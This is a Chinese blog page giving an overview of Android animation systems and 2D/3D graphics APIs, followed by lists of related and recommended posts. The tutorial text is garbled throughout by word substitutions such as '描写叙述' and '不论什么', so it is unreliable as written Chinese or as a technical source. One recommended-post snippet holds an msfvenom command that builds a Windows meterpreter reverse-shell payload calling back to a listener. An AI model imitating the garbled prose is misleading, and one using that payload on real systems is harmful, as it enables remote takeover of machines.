动画和图形概述

Android 提供了大量的强大的API以应用于UI动画和绘制2D和3D图形。以下各节向你描写叙述了这些API的预览和系统能力以帮助你决定怎么才是达到你需求的最佳方法。

动画

Android 框架提供了两个动画系统: 两种动画系统都是切实可用的,可是普通情况下属性动画系统是被首推使用的。由于它更灵活而且提供了很多其它的特性。在此两系统之外。你还能够使用Drawable动画,它使得你能够载入drawable资源而且一帧帧的显示它们。

Property动画

从Android 3.0 (API level 11)開始引入。property动画系统使你能够动画一个对象的propertie,包含那些不能显示在屏幕上的对象。此系统是可扩展的而且也能让你动画自己定义类型的propertie。

View动画

View 动画是旧的动画系统而且仅仅能被用于View。它的建立相对easy而且提供了足够的能力来满足不论什么应用的需求。

Drawable动画

Drawable 动画一个接一个的显示Drawable 资源,就像放电影。

2D 和 3D 图形

当写一个应用时,细致考虑你的图形需求是非常重要的。不同的图形任务使用不同的技术实现。比如,图形和动画的实现对于一个静态应用与一个交互式游戏就区别非常大。以下。我们将讨论一些在Android系统上的绘制图形的操作以及它们最适合的任务。

Canvas 和 Drawables

Android提供了一系列的 View widget。它们提供了丰富的用户界面功能。

你也能够扩展这些widgets来改变它的们样子和行为。

另外,你能够使用Canvas 类的丰富的绘制方法做你自己的2D图形或为纹理button或一帧接一帧的动画创建 Drawable 对象。

硬加速

从Android 3.0開始,你能够使用主流的Canvas API的硬加速功能大辐提高它们的性能。

OpenGL

Android 支持OpenGL ES 1.0和2.0,Android框架API和本地API(NDK)都支持。当你想为你的应用加入一些Canvas API不支持的增强功能时,或你希望不依赖于平台而且没有高性能需求时。应使用框架API。NDK与框架API之间有性能的区别,所以图形集中式的应用比方游戏,使用NDK 更佳(可是还要注意重要的一点,你仍然能够使用框架API达到高性能。比方。Google Body app就是全然用框架API实现的)。 NDK中的OpenGL另一个用处是用于移植本地代码(比方C++代码)到Android。

下一篇: android动画具体解释二 属性动画原理

android动画具体解释一 概述的更多相关文章

  1. android动画具体解释二 属性动画原理

    property动画是一个强大的框架,它差点儿能使你动画不论什么东西. 你能够定义一个动画来改变对象的不论什么属性,不论其是否被绘制于屏幕之上. 一个属性动画在一定时间内多次改变一个属性(对象的一个字 ...

  2. android动画具体解释四 创建动画

    使用ValueAnimator进行动画 通过指定一些int, float或color等类型的值的集合.ValueAnimator 使你能够对这些类型的值进行动画.你需通过调用ValueAnimator ...

  3. android动画具体解释六 XML中定义动画

    动画View 属性动画系统同意动画View对象并提供非常多比view动画系统更高级的功能.view动画系统通过改变绘制方式来变换View对象,view动画是被view的容器所处理的,由于View本身没 ...

  4. android 动画具体解释(二)

    以下就開始学习属性动画的基本使用方法,我们来看属性动画的继承关系,例如以下如所看到的: 显然关注的焦点应该是ValueAnimator,ObjectAnimator这两个类啦,ObjectAnimat ...

  5. Android 动画具体解释View动画

    为了让用户更舒适的在某些情况下,利用动画是那么非常有必要的.Android在3.0一旦支持两种动画Tween动漫Frame动画.Tween动画支持简单的平移,缩放,旋转,渐变.Frame动画就像Gif ...

  6. Android 动画具体解释Frame动画 (Drawable Animation)

    Frame动画像gif画画,通过一些静态的图片,以实现动画效果. Android sdk该AnimationDrawable就是专门针对Frame动画,当然Frame动画也可在java代码或者xml中 ...

  7. Android中的动画具体解释系列【4】——Activity之间切换动画

    前面介绍了Android中的逐帧动画和补间动画,并实现了简单的自己定义动画.这一篇我们来看看怎样将Android中的动画运用到实际开发中的一个场景--Activity之间跳转动画. 一.定义动画资源 ...

  8. android 动画xml属性具体解释

    /** * 作者:crazyandcoder * 联系: * QQ : 275137657 * email: lijiwork@sina.com * 转载请注明出处! */ android 动画属性具 ...

  9. Android动画学习(二)——Tween Animation

    前两天写过一篇Android动画学习的概述,大致的划分了下Android Animation的主要分类,没有看过的同学请移步:Android动画学习(一)——Android动画系统框架简介.今天接着来 ...

随机推荐

  1. 关于PHP写的投票网站之刷票风云

    最近学校导航站找我让我给他们做一个投票系统的网站,我一口答应了,他们只是要求不准刷票情况出现,我也一口答应了..我答应的太干脆了. 然后我便开始做这个网站,网站做出来没花太多时间,并且我是用IP来判断 ...

  2. GetProcAddress 使用注意事项

    使用 GetProcAddress Function 时,有以下几点需要特别留意: 1. 第二个参数类型是 LPCSTR,不是 : 2. 用 __declspec(dllexport),按 C 名称修 ...

  3. [Algorithm] Tower Hopper Problem

    By given an array of number, each number indicate the number of step you can move to next index: For ...

  4. [Node.js]27. Level 5: URL Building & Doing the Request

    Let's create a page which calls the twitter search API and displays the last few results for Code Sc ...

  5. (LeetCode 189)Rotate Array

    Rotate an array of n elements to the right by k steps. For example, with n = 7 and k = 3, the array ...

  6. PHPCMS增加投票选项代码

    <script src="jquery-1.10.1.js"></script> <tr> <th width="20%&quo ...

  7. UE查找和替换技巧实例

    1 删除多余的空行 如果是在WORD中,则查找^p^p替换为^p. 如果是在EXCEL里,则为全部选中,然后点击编辑,定位,定位条件,空值. 将全部选中空白的行,如图所示 再次点击编辑,删除,删除整行 ...

  8. linux文件系统挂载

    接上一篇博客 创建好了文件系统的磁盘仍然是不能用的,必须挂载到某个目录下才能使用 [root@gechong mnt]# ll /dev/sdb* brw-rw----. root disk , 11 ...

  9. msf payload

    #clientmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.106 LPORT=9999 -e x86/shikata_ga_ ...

  10. openerp7.0接收邮件时别名区分大小写问题,以及处理非别名域邮件问题解决方法

    修改代码addons\mail\mail_thread.py #550 line #local_parts = [e.split('@')[0] for e in tools.email_split( ...